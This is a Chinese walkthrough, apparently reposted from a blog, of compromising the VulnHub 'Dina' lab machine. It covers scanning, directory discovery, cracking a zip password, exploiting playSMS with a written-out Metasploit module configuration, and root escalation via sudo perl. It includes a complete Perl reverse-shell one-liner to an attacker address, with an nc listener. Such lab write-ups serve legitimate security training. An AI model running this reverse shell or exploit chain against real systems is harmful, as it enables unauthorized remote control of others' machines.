您的位置:首页 > 科技 > 能源 > Dina靶机详解

Dina靶机详解

2024/12/23 3:19:14 来源:https://blog.csdn.net/a666666688/article/details/142301610  浏览:    关键词:Dina靶机详解

靶机下载

https://www.vulnhub.com/entry/dina-101,200/

靶机配置

默认是桥接模式,切换为NAT模式后重启靶机

主机发现

arp-scan -l

端口扫描

nmap -sV -A -T4 192.168.229.157

发现80端口开启,访问

访问网站

目录扫描

python dirsearch.py -u http://192.168.229.157:80

拼接访问

http://192.168.229.157/robots.txt

robots.txt文件是一个文本文件,用于告诉网络爬虫(也称为网络机器人)哪些页面或文件可以请求,哪些不能请求你的网站。它通常放在网站的根目录中。

robots.txt文件是一个简单的文本文件,包含了爬虫在爬取你的网站时应该遵循的指令。它允许你指定哪些页面或文件可以被索引,哪些应该被排除在索引之外。

 http://192.168.229.157/secure/

下载backup.zip并查看,解压时发现需要密码

在进行Web应用程序安全测试时,通常会尝试一些常见的目录和文件名来探测Web服务器的配置和漏洞。"/nothing" 是一个常见的文件名,它通常表示请求了一个不存在的资源。
当在URL后面拼接 "/nothing" 时,可能会产生以下两种情况之一:
1. 如果Web服务器没有对"/nothing"进行特殊处理,并且该文件或目录不存在,那么Web服务器可能会返回一个默认的404页面。
2. 如果Web服务器对"/nothing"进行了特殊处理,并且该文件或目录存在,那么Web服务器可能会返回该文件或目录的内容。
如果Web服务器返回的是一个404页面,那么我们可能会注意到页面中是否包含有关服务器配置或Web应用程序版本的信息。这些信息可能会帮助我们确定Web应用程序的类型和版本,从而为进一步的渗透测试提供线索。
以下是一些可能有用的拼接点:
1. /crossdomain.xml:此文件通常用于跨域资源共享(CORS),它定义了哪些网站可以从其他网站访问资源。
2. /.git/:如果网站使用Git版本控制系统,那么此目录可能包含敏感信息,如提交历史记录和配置文件。
3. /.svn/:如果网站使用Subversion版本控制系统,那么此目录可能包含敏感信息,如提交历史记录和配置文件。
4. /backup/:此目录通常用于存储备份文件,如果网站使用自动备份功能,那么此目录可能包含备份文件的副本。
5. /admin/:此目录通常用于管理网站的后端,如果网站没有限制对该目录的访问,那么攻击者可能会试图猜测管理员的用户名和密码。
6. /config/:此目录通常用于存储网站的配置文件,如果网站没有限制对该目录的访问,那么攻击者可能会试图读取敏感信息。
7. /uploads/:此目录通常用于存储用户上传的文件,如果网站没有限制对该目录的访问,那么攻击者可能会试图上传恶意文件。
8. /server-status:此页面通常用于显示服务器的状态信息,如果网站没有限制对该页面的访问,那么攻击者可能会试图获取服务器的敏感信息。
9. /phpinfo.php:此页面通常用于显示PHP的配置信息,如果网站没有限制对该页面的访问,那么攻击者可能会试图获取PHP的敏感信息。
10. /CHANGELOG.txt:此文件通常用于记录网站的变更历史,如果网站没有限制对该文件的访问,那么攻击者可能会试图获取敏感信息

我们通过测试发现拼接/nothing有特殊回显

http://192.168.229.157/nothing/

发现不是404,我们查看页面源码,这些信息可能是接下来账户的密码,先尝试是不是加密视频的密码

发现freedom是加密密码

发现已经损坏,我们尝试使用记事本打开,发现url和uname以及一个加密密码,这个加密密码我们可以尝试使用之前文件夹的密码进行破解,url拼接访问

192.168.229.157/SecreTSMSgatwayLogin

通过尝试发现密码为diana

出现这个需要切换浏览器访问

登录成功,发现CMS,利用MSF查看是否有nday漏洞

GETshell

开启MSF

msfconsole

查询CMS历史漏洞

search playSMS

尝试过后,序号2可以成功利用

use 2
show options
yes代表该参数是必须设置的

set targeturi /SecreTSMSgatwayLogin #配置上传文件页面的urlset password diana                  #配置密码set username touhid                 #配置账户set rhosts 192.168.121.184          #靶机ipset lhost 192.168.121.171           #kali监听机的ipset LPORT 1234                      #kali监听的端口

getshell成功

提权

列出当前用户能执行的sudo命令

sudo -l

这段sudo -l命令结果显示了当前用户(www-data)的权限范围,以及哪些命令可以使用sudo命令执行。

首先,它显示了当前用户的默认环境变量设置:

env_reset

这意味着在执行sudo命令时,会重置当前用户的环境变量。

然后,它显示了当前用户可用的安全路径:

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

这意味着当前用户可以使用的命令的路径。

最后,它显示了当前用户可以使用sudo命令执行的命令:

(ALL) NOPASSWD: /usr/bin/perl

这意味着www-data用户可以使用sudo命令执行/usr/bin/perl命令,并且不需要输入密码。

这意味着攻击者可以利用www-data用户的权限来执行/usr/bin/perl命令,从而可能获取到服务器的权限。

kali开启监听

nc -lvvp 9999

通过perl写入反向shell语句

sudo perl -e 'use Socket;$i="192.168.229.132";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

反向shell语句分析

这段代码使用Perl语言创建了一个反向shell,用于连接攻击者控制的服务器。这段代码的目的是创建一个连接到攻击者控制的服务器的socket。它首先定义了目标服务器的IP地址和端口号,然后使用Perl的Socket模块创建一个TCP socket连接。如果连接成功,代码使用exec函数执行一个shell命令,从而使攻击者可以获取目标服务器的控制权限。

提权成功

whoami
id

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com